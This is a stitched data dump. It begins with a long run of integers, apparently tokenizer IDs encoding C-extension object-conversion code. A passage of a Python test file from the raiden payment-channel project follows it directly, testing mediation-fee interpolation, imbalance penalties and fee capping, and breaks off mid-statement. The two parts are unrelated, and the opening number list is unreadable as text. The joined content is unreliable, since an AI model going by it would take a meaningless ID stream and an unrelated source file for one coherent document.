29918,
3624,
5574,
29898,
5415,
876,
426,
13,
418,
1206,
29871,
29900,
29901,
334,
7414,
353,
29871,
29900,
29936,
736,
29918,
1767,
353,
29871,
29896,
29936,
2867,
29936,
13,
418,
1206,
448,
29896,
29901,
2867,
29936,
13,
418,
2322,
29901,
334,
7414,
353,
29871,
29896,
29936,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
1678,
500,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
302,
2272,
29918,
11227,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
11227,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
10772,
2061,
29930,
11451,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
11227,
29898,
29876,
2272,
29918,
11227,
29930,
23246,
29897,
426,
13,
29871,
565,
3070,
7414,
29897,
426,
13,
1678,
10772,
2588,
29636,
279,
29918,
1525,
29911,
24015,
29918,
20652,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2588,
29636,
279,
29918,
1525,
29911,
24015,
29918,
25717,
29936,
13,
29871,
500,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
23749,
29918,
11227,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
23749,
29918,
11227,
29898,
19737,
2061,
334,
5415,
29892,
10772,
24693,
29636,
279,
2061,
1068,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
18912,
876,
426,
13,
1678,
334,
7414,
353,
313,
19737,
24693,
29636,
279,
2061,
7528,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
4607,
313,
19737,
2061,
29918,
3624,
5574,
29898,
5415,
876,
426,
13,
418,
1206,
29871,
29900,
29901,
334,
7414,
353,
313,
19737,
24693,
29636,
279,
2061,
7528,
19737,
2588,
29636,
279,
29918,
8824,
29936,
736,
29918,
1767,
353,
29871,
29896,
29936,
2867,
29936,
13,
418,
1206,
448,
29896,
29901,
2867,
29936,
13,
418,
2322,
29901,
334,
7414,
353,
313,
19737,
24693,
29636,
279,
2061,
7528,
19737,
2588,
29636,
279,
29918,
5574,
29936,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
1678,
500,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
10772,
24693,
29636,
279,
2061,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
4907,
1495,
13,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
3090,
29918,
7414,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
3090,
29918,
7414,
29898,
19737,
2061,
334,
5415,
29892,
1373,
29930,
334,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
1231,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
10772,
29918,
893,
675,
29918,
29873,
301,
353,
29871,
29896,
29974,
19737,
1231,
29918,
7194,
29918,
14226,
29898,
5415,
416,
13,
1678,
334,
7414,
353,
25465,
29898,
29880,
29930,
17921,
29898,
3090,
2483,
13,
1678,
736,
29918,
1767,
353,
21443,
851,
17608,
2272,
10456,
7414,
29892,
19737,
1231,
29918,
3289,
29918,
20785,
29898,
5415,
511,
29880,
416,
13,
29871,
500,
1683,
426,
13,
1678,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
3090,
29918,
7414,
29898,
19737,
2061,
29918,
5015,
29898,
5415,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1373,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
14941,
29918,
2272,
5415,
29918,
517,
29918,
3090,
29918,
7414,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
1780,
5941,
29918,
2272,
5415,
29918,
517,
29918,
3090,
29918,
7414,
29898,
3090,
29930,
334,
23246,
29897,
426,
13,
29871,
565,
5135,
29930,
7414,
29897,
2804,
4265,
29897,
426,
13,
1678,
3889,
10456,
7414,
416,
13,
29871,
500,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
29898,
19737,
2061,
334,
5415,
29892,
302,
2272,
29918,
1807,
334,
7414,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
1714,
876,
426,
13,
1678,
10772,
29918,
893,
675,
29918,
29873,
301,
353,
29871,
29896,
29974,
19737,
1231,
29918,
7194,
29918,
14226,
29898,
5415,
416,
13,
1678,
23246,
976,
1272,
353,
25465,
29898,
29880,
29930,
17921,
29898,
3090,
2483,
13,
1678,
23246,
976,
2311,
353,
301,
29899,
29896,
29936,
13,
1678,
736,
29918,
1767,
353,
21443,
851,
17608,
2272,
29898,
7414,
976,
1272,
29892,
19737,
1231,
29918,
3289,
29918,
20785,
29898,
5415,
511,
29880,
416,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
1231,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
1231,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
1373,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
14941,
29918,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
1780,
5941,
29918,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
1807,
29898,
29876,
2272,
29918,
1807,
334,
7414,
29897,
426,
13,
29871,
565,
5135,
7414,
976,
1272,
29897,
2804,
4265,
29897,
426,
13,
1678,
3889,
29898,
7414,
976,
1272,
416,
13,
1678,
23246,
976,
2311,
353,
29871,
29900,
29936,
13,
29871,
500,
13,
29913,
13,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
1807,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
10772,
2061,
29930,
11451,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
1807,
29898,
29876,
2272,
29918,
1807,
334,
7414,
29897,
426,
13,
29871,
10772,
2061,
29930,
885,
353,
10772,
1231,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
259,
669,
19737,
1231,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
13,
268,
10772,
1231,
29918,
4591,
1231,
2855,
3505,
29898,
7414,
976,
1272,
29892,
23246,
976,
2311,
8243,
10074,
416,
13,
29871,
736,
885,
29936,
13,
29913,
4907,
1495,
13,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
23749,
29918,
1807,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
23749,
29918,
1807,
29898,
19737,
2061,
334,
5415,
29892,
10772,
1231,
29636,
279,
2061,
1068,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
1714,
876,
426,
13,
1678,
334,
7414,
353,
313,
19737,
1231,
29636,
279,
2061,
7528,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
1231,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
1231,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
1807,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
1807,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
10772,
1231,
29636,
279,
2061,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
23749,
29918,
2523,
356,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
23749,
29918,
2523,
356,
29898,
19737,
2061,
334,
5415,
29892,
10772,
2525,
12858,
29636,
279,
2061,
1068,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
23862,
876,
426,
13,
1678,
334,
7414,
353,
313,
19737,
2525,
12858,
29636,
279,
2061,
7528,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
2525,
12858,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
2525,
12858,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
2523,
356,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
2523,
356,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
10772,
2525,
12858,
29636,
279,
2061,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
29898,
19737,
2061,
334,
5415,
29892,
302,
2272,
29918,
2523,
356,
334,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
5415,
1360,
10074,
29897,
2056,
13,
29871,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
23862,
876,
426,
13,
1678,
10772,
29918,
893,
675,
29918,
29873,
301,
353,
10772,
2525,
12858,
29918,
7194,
29918,
14573,
29918,
14226,
29898,
5415,
416,
13,
1678,
23246,
976,
1272,
353,
25465,
29898,
29880,
416,
13,
1678,
23246,
976,
2311,
353,
10772,
2525,
12858,
29918,
7194,
29918,
14226,
29898,
5415,
416,
13,
1678,
736,
29918,
1767,
353,
21443,
2626,
23141,
29898,
7414,
976,
1272,
29892,
19737,
2525,
12858,
29918,
3289,
29918,
3904,
2965,
29949,
2287,
29898,
5415,
511,
29880,
416,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
2525,
12858,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
2525,
12858,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
268,
13,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
10772,
29918,
3904,
2965,
29949,
2287,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
14941,
29918,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
1780,
5941,
29918,
2272,
5415,
29918,
517,
29918,
29876,
2272,
29918,
2523,
356,
29898,
29876,
2272,
29918,
2523,
356,
334,
23246,
29897,
426,
13,
29871,
565,
5135,
7414,
976,
1272,
29897,
2804,
4265,
29897,
426,
13,
1678,
3889,
29898,
7414,
976,
1272,
416,
13,
1678,
23246,
976,
2311,
353,
29871,
29900,
29936,
13,
29871,
500,
13,
29913,
13,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
2523,
356,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
10772,
2061,
29930,
11451,
5415,
29918,
3166,
29918,
29876,
2272,
29918,
2523,
356,
29898,
29876,
2272,
29918,
2523,
356,
334,
7414,
29897,
426,
13,
29871,
10772,
2061,
29930,
885,
353,
10772,
2525,
12858,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
259,
669,
19737,
2525,
12858,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
19737,
2525,
12858,
29918,
4591,
2525,
12858,
29898,
7414,
976,
1272,
29892,
23246,
976,
2311,
8243,
10074,
416,
13,
29871,
736,
885,
29936,
13,
29913,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
23749,
29918,
5405,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
23749,
29918,
5405,
29898,
19737,
2061,
334,
5415,
29892,
10772,
29963,
3398,
29636,
279,
2061,
1068,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
5415,
29892,
29434,
876,
426,
13,
1678,
334,
7414,
353,
313,
19737,
29963,
3398,
29636,
279,
2061,
7528,
5415,
29936,
13,
1678,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
885,
353,
10772,
29963,
3398,
16401,
1542,
29918,
1542,
29889,
9392,
29918,
1482,
29898,
13,
418,
669,
19737,
29963,
3398,
16401,
1542,
29918,
1542,
29892,
19737,
29918,
8893,
1917,
703,
29898,
29949,
19123,
5415,
511,
10074,
416,
13,
1678,
565,
313,
1557,
1360,
10074,
29897,
2056,
13,
1678,
1683,
565,
313,
19737,
2588,
29918,
3624,
29636,
279,
29898,
1557,
29892,
3251,
293,
876,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
5405,
29898,
1557,
29892,
23246,
416,
13,
1678,
1683,
13,
418,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
5405,
29898,
19737,
2588,
29918,
29636,
279,
4591,
2061,
29898,
1557,
511,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
10772,
29963,
3398,
29636,
279,
2061,
29930,
8983,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
4907,
1495,
13,
13,
21382,
1839,
2272,
5415,
29918,
517,
29918,
23749,
29918,
2378,
29918,
524,
29953,
29946,
2033,
353,
9657,
1194,
13,
1678,
775,
353,
14550,
29905,
13,
7959,
938,
11451,
5415,
29918,
517,
29918,
23749,
29918,
2378,
29918,
524,
29953,
29946,
29898,
19737,
2061,
334,
5415,
29892,
10772,
2588,
2061,
1068,
23246,
29897,
426,
13,
29871,
938,
736,
29918,
1767,
353,
29871,
29900,
29936,
13,
29871,
565,
313,
19737,
2588,
29918,
5596,
29898,
5415,
876,
426,
13,
1678,
565,
313,
19737,
2588,
29918,
11116,
29898,
5415,
29897,
1360,
19737,
2588,
29918,
10192,
29953,
29946,
29897,
426,
13,
418,
334,
7414,
353,
313,
19737,
2588,
2061,
7528,
5415,
29936,
13,
418,
736,
29918,
1767,
353,
29871,
29896,
29936,
13,
1678,
500,
13,
29871,
500,
1683,
426,
13,
1678,
10772,
2061,
29930,
3948,
353,
10772,
2588,
29918,
21482,
29918,
2891,
29898,
5415,
29892,
10772,
2588,
29918,
10192,
29953,
29946,
416,
13,
1678,
736,
29918,
1767,
353,
11451,
5415,
29918,
517,
29918,
23749,
29918,
2378,
29918,
524,
29953,
29946,
29898,
2749,
29892,
23246,
416,
13,
29871,
500,
13,
29871,
565,
5384,
2457,
29918,
1767,
2607,
1738,
19737,
19212,
29918,
22034,
332,
1127,
3101,
426,
13,
1678,
10772,
2061,
29930,
364,
353,
10772,
1231,
29918,
4591,
1231,
703,
17776,
304,
3588,
14796,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
2061,
29918,
1123,
558,
29898,
19737,
2061,
29918,
1542,
29898,
5415,
17884,
13,
1678,
10772,
1231,
29918,
1168,
4117,
2855,
13157,
6243,
29878,
29892,
10772,
1231,
29918,
4591,
1231,
703,
304,
315,
376,
2483,
13,
1678,
10772,
19212,
29918,
2697,
2061,
29898,
19737,
1252,
29883,
29918,
1542,
2392,
29892,
29878,
416,
13,
29871,
500,
13,
29871,
736,
736,
29918,
1767,
29936,
13,
29913,
13,
12008,
13,
1678,
1723,
13,
2
] |
raiden/tests/unit/transfer/mediated_transfer/test_mediation_fee.py | tirkarthi/raiden | 2,101 | 84183 | <reponame>tirkarthi/raiden
from fractions import Fraction
from typing import Tuple
import pytest
from hypothesis import HealthCheck, assume, example, given, settings
from hypothesis.strategies import integers
from raiden.tests.unit.transfer.test_channel import make_hash_time_lock_state
from raiden.tests.utils import factories
from raiden.tests.utils.factories import (
NettingChannelEndStateProperties,
NettingChannelStateProperties,
)
from raiden.tests.utils.mediation_fees import (
get_amount_with_fees,
get_initial_amount_for_amount_after_fees,
)
from raiden.transfer.mediated_transfer.initiator import calculate_safe_amount_with_fee
from raiden.transfer.mediated_transfer.mediation_fee import (
NUM_DISCRETISATION_POINTS,
FeeScheduleState,
Interpolate,
calculate_imbalance_fees,
linspace,
)
from raiden.transfer.mediated_transfer.mediator import get_amount_without_fees
from raiden.transfer.state import NettingChannelState
from raiden.utils.mediation_fees import ppm_fee_per_channel
from raiden.utils.typing import (
Balance,
FeeAmount,
PaymentAmount,
PaymentWithFeeAmount,
ProportionalFeeAmount,
TokenAmount,
)
def test_interpolation():
interp = Interpolate((0, 100), (0, 100))
for i in range(101):
assert interp(i) == i
interp = Interpolate((0, 50, 100), (0, 100, 200))
for i in range(101):
assert interp(i) == 2 * i
interp = Interpolate((0, 50, 100), (0, -50, 50))
assert interp(40) == -40
assert interp(60) == -30
assert interp(90) == 30
assert interp(99) == 48
interp = Interpolate((0, 100), (Fraction("12.35"), Fraction("67.2")))
assert interp(0) == Fraction("12.35")
assert interp(50) == pytest.approx((12.35 + 67.2) / 2)
assert interp(100) == Fraction("67.2")
def test_imbalance_penalty():
r"""Test an imbalance penalty by moving back and forth
The imbalance fee looks like
20 | /
| /
10 |\. /
| \. /
0 | \/
---------------
0 50 100
For each input, we first assume the channel is used to forward tokens to a
payee, which moves the capacity from x1 to x2. The we assume the same
amount is mediated in the opposite direction (moving from x2 to x1) and
check that the calculated fee is the same as before just with the opposite
sign.
"""
v_schedule = FeeScheduleState(
imbalance_penalty=[
(TokenAmount(0), FeeAmount(10)),
(TokenAmount(50), FeeAmount(0)),
(TokenAmount(100), FeeAmount(20)),
]
)
reverse_schedule = FeeScheduleState(
imbalance_penalty=[
(TokenAmount(0), FeeAmount(20)),
(TokenAmount(50), FeeAmount(0)),
(TokenAmount(100), FeeAmount(10)),
]
)
for cap_fees, x1, amount, expected_fee_in, expected_fee_out in [
# Uncapped fees
(False, 0, 50, -8, -10),
(False, 50, 30, 20, 12),
(False, 0, 10, -2, -2),
(False, 10, 10, -2, -2),
(False, 0, 20, -3, -4),
(False, 40, 15, 0, 0),
(False, 50, 31, None, 12),
(False, 100, 1, None, None),
# Capped fees
(True, 0, 50, 0, 0),
(True, 50, 30, 20, 12),
(True, 0, 10, 0, 0),
(True, 10, 10, 0, 0),
(True, 0, 20, 0, 0),
(True, 40, 15, 0, 0),
]:
v_schedule.cap_fees = cap_fees
amount_with_fees = get_amount_with_fees(
amount_without_fees=PaymentWithFeeAmount(amount),
balance_in=Balance(x1),
balance_out=Balance(100),
schedule_in=v_schedule,
schedule_out=FeeScheduleState(cap_fees=cap_fees),
receivable_amount=TokenAmount(100 - x1),
)
if expected_fee_in is None:
assert amount_with_fees is None
else:
assert amount_with_fees is not None
assert amount_with_fees - amount == FeeAmount(expected_fee_in)
reverse_schedule.cap_fees = cap_fees
amount_with_fees = get_amount_with_fees(
amount_without_fees=PaymentWithFeeAmount(amount),
balance_in=Balance(0),
balance_out=Balance(100 - x1),
schedule_in=FeeScheduleState(cap_fees=cap_fees),
schedule_out=reverse_schedule,
receivable_amount=TokenAmount(100),
)
if expected_fee_out is None:
assert amount_with_fees is None
else:
assert amount_with_fees is not None
assert amount_with_fees - amount == FeeAmount(expected_fee_out)
def test_fee_capping():
r""" Test the capping when one section of the fee function crossed from the
positive into negative fees. Here, our fee curve looks like:
Fee
|
5 +
|\
| \
0 +--+-----+-> incoming_amount
| 25\ 100
| \
| \
| \
| \
-15 + \
0
When capping it, we need to insert the intersection point of (25, 0) into
our piecewise linear function before capping all y values to zero.
Otherwise we would just interpolate between (0, 5) and (100, 0).
"""
schedule = FeeScheduleState(
